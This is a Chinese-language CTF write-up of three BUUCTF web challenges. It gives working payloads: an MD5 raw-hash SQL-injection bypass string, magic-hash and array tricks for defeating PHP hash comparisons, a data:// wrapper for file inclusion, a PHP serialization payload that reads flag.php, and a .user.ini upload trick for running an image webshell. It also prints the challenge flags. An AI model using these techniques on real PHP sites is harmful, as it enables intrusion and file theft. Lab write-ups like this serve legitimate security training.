1.BUUCTF刷题-[BJDCTF2020]Easy MD5

本题wp
首先使用字符串"ffifdyop"来绕过hint。
在第二个页面的源码中给出了提示。

1-1

?a=QNKCDZO&b=240610708

进入第三个页面。

1-2

这次是强相等判断，可以将post参数设为数组绕过。

param1[]=1&param2[]=2
// flag{9f8cab11-074c-46ff-8314-0dfca9fb2865}

得到flag。

2.BUUCTF刷题-[ZJCTF 2019]NiZhuanSiWei

首先是代码分析。

2-1

get表单提交三个变量：text,file,passwor。然后通过两个判断语句。
第一个if判断的是$text所代表的文件是否为字符串“welcome to the zjctf”。所以应该想办法让text代表一个文件，并在文件中写入一个字符串。可以利用data：伪协议。

方法一：伪协议利用
构造语句：

text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

方法二：利用php://input伪协议在post表单传递

2-2

接下来发现直接包含useless.php时没有回显，那就用base64转码再返回。再将返回的字符进行解码，得到useless.php里的内容。

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

接下来构造password来获得flag。

<?php  
class Flag{
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$password=new Flag();
$password = serialize($password);
echo $password; 
?> 
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 
//flag{68bd96b7-3b71-48ae-9472-9c2c3f6ccc2c}

最后得到flag。

3.BUUCTF刷题-[SUCTF 2019]CheckIn

涉及到一个新的知识点：.user.ini
先构造一个文件，名为".user.ini"，内容为：

GIF89a
auto_prepend_file=1.jpg

再构造一个名为1.jpg的图马。
将这两个文件依次上传。

3-1

今天就到这，嗓子疼，太难受了